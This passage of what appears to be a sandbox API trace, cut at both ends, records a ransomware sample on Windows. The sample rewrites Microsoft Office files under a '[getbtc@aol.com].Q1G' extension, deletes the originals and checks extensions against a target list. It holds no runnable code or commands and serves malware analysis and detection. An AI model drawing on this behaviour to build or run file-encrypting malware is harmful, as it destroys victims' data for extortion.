dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.609] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.609] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.610] GetLastError () returned 0x0 [0254.610] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x72, lpOverlapped=0x0) returned 1 [0254.610] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0254.611] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.611] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0254.611] SetEndOfFile (hFile=0x3dc) returned 1 [0254.612] CloseHandle (hObject=0x3dc) returned 1 [0254.612] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.612] SetEndOfFile (hFile=0x324) returned 1 [0254.962] CloseHandle (hObject=0x324) returned 1 [0254.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 1 [0255.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.050] lstrlenW (lpString=".doc") returned 4 [0255.050] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.050] lstrlenW (lpString=".docx") returned 5 [0255.050] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.051] lstrlenW (lpString=".pdf") returned 4 [0255.051] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString=".xls") returned 4 [0255.051] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString=".xlsx") returned 5 [0255.051] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.051] lstrlenW (lpString=".ppt") returned 4 [0255.051] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.051] lstrlenW (lpString=".zip") returned 4 [0255.051] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString=".rar") returned 4 [0255.051] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString=".bz2") returned 4 [0255.051] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.051] lstrlenW (lpString=".7z") returned 3 [0255.051] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.051] lstrlenW (lpString=".dbf") returned 4 [0255.051] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.051] lstrlenW (lpString=".1cd") returned 4 [0255.051] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.051] lstrlenW (lpString=".jpg") returned 4 [0255.051] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.051] lstrlenW (lpString=".doc") returned 4 [0255.051] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.051] lstrlenW (lpString=".docx") returned 5 [0255.051] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.051] lstrlenW (lpString=".pdf") returned 4 [0255.051] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.051] lstrlenW (lpString=".xls") returned 4 [0255.052] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.052] lstrlenW (lpString=".xlsx") returned 5 [0255.052] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.052] lstrlenW (lpString=".ppt") returned 4 [0255.052] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.052] lstrlenW (lpString=".zip") returned 4 [0255.052] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.052] lstrlenW (lpString=".rar") returned 4 [0255.052] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.052] lstrlenW (lpString=".bz2") returned 4 [0255.052] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.052] lstrlenW (lpString=".7z") returned 3 [0255.052] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.052] lstrlenW (lpString=".dbf") returned 4 [0255.052] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.052] lstrlenW (lpString=".1cd") returned 4 [0255.052] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0255.052] lstrlenW (lpString=".jpg") returned 4 [0255.052] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.052] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0255.052] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0255.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.053] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=209) returned 1 [0255.053] CloseHandle (hObject=0x3e0) returned 1 [0255.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 0x20 [0255.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.053] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.053] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.054] GetLastError () returned 0x0 [0255.054] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xd1, lpOverlapped=0x0) returned 1 [0255.055] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0255.055] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.056] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0255.056] SetEndOfFile (hFile=0x3f0) returned 1 [0255.056] CloseHandle (hObject=0x3f0) returned 1 [0255.056] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.056] SetEndOfFile (hFile=0x3e0) returned 1 [0255.058] CloseHandle (hObject=0x3e0) returned 1 [0255.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 1 [0255.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.059] lstrlenW (lpString=".doc") returned 4 [0255.059] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0255.059] lstrlenW (lpString=".docx") returned 5 [0255.059] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0255.059] lstrlenW (lpString=".pdf") returned 4 [0255.059] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0255.059] lstrlenW (lpString=".xls") returned 4 [0255.059] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0255.059] lstrlenW (lpString=".xlsx") returned 5 [0255.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0255.059] lstrlenW (lpString=".ppt") returned 4 [0255.059] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0255.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.059] lstrlenW (lpString=".zip") returned 4 [0255.059] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0255.059] lstrlenW (lpString=".rar") returned 4 [0255.059] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0255.059] lstrlenW (lpString=".bz2") returned 4 [0255.059] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0255.059] lstrlenW (lpString=".7z") returned 3 [0255.059] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".dbf") returned 4 [0255.060] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".1cd") returned 4 [0255.060] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".jpg") returned 4 [0255.060] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".doc") returned 4 [0255.060] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0255.060] lstrlenW (lpString=".docx") returned 5 [0255.060] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0255.060] lstrlenW (lpString=".pdf") returned 4 [0255.060] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0255.060] lstrlenW (lpString=".xls") returned 4 [0255.060] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0255.060] lstrlenW (lpString=".xlsx") returned 5 [0255.060] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0255.060] lstrlenW (lpString=".ppt") returned 4 [0255.060] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".zip") returned 4 [0255.060] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0255.060] lstrlenW (lpString=".rar") returned 4 [0255.060] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0255.060] lstrlenW (lpString=".bz2") returned 4 [0255.060] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0255.060] lstrlenW (lpString=".7z") returned 3 [0255.060] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".dbf") returned 4 [0255.060] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0255.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.060] lstrlenW (lpString=".1cd") returned 4 [0255.061] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0255.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0255.061] lstrlenW (lpString=".jpg") returned 4 [0255.061] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0255.061] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0255.061] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0255.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.061] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114) returned 1 [0255.061] CloseHandle (hObject=0x3e0) returned 1 [0255.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 0x20 [0255.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.062] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.062] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.062] GetLastError () returned 0x0 [0255.062] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x72, lpOverlapped=0x0) returned 1 [0255.063] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0255.064] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.064] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0255.064] SetEndOfFile (hFile=0x3f0) returned 1 [0255.064] CloseHandle (hObject=0x3f0) returned 1 [0255.064] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.064] SetEndOfFile (hFile=0x3e0) returned 1 [0255.067] CloseHandle (hObject=0x3e0) returned 1 [0255.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 1 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString=".doc") returned 4 [0255.068] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.068] lstrlenW (lpString=".docx") returned 5 [0255.068] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.068] lstrlenW (lpString=".pdf") returned 4 [0255.068] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.068] lstrlenW (lpString=".xls") returned 4 [0255.068] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.068] lstrlenW (lpString=".xlsx") returned 5 [0255.068] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.068] lstrlenW (lpString=".ppt") returned 4 [0255.068] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString=".zip") returned 4 [0255.068] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.068] lstrlenW (lpString=".rar") returned 4 [0255.068] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.068] lstrlenW (lpString=".bz2") returned 4 [0255.068] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.068] lstrlenW (lpString=".7z") returned 3 [0255.068] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString=".dbf") returned 4 [0255.068] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString=".1cd") returned 4 [0255.068] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString=".jpg") returned 4 [0255.068] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.069] lstrlenW (lpString=".doc") returned 4 [0255.069] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.069] lstrlenW (lpString=".docx") returned 5 [0255.069] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.069] lstrlenW (lpString=".pdf") returned 4 [0255.069] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.069] lstrlenW (lpString=".xls") returned 4 [0255.069] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.069] lstrlenW (lpString=".xlsx") returned 5 [0255.069] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.069] lstrlenW (lpString=".ppt") returned 4 [0255.069] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.069] lstrlenW (lpString=".zip") returned 4 [0255.069] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.069] lstrlenW (lpString=".rar") returned 4 [0255.069] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.069] lstrlenW (lpString=".bz2") returned 4 [0255.069] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.069] lstrlenW (lpString=".7z") returned 3 [0255.069] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.069] lstrlenW (lpString=".dbf") returned 4 [0255.069] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.069] lstrlenW (lpString=".1cd") returned 4 [0255.069] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0255.069] lstrlenW (lpString=".jpg") returned 4 [0255.069] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.069] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0255.069] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0255.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.070] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0255.070] CloseHandle (hObject=0x3e0) returned 1 [0255.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 0x20 [0255.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.070] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.071] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 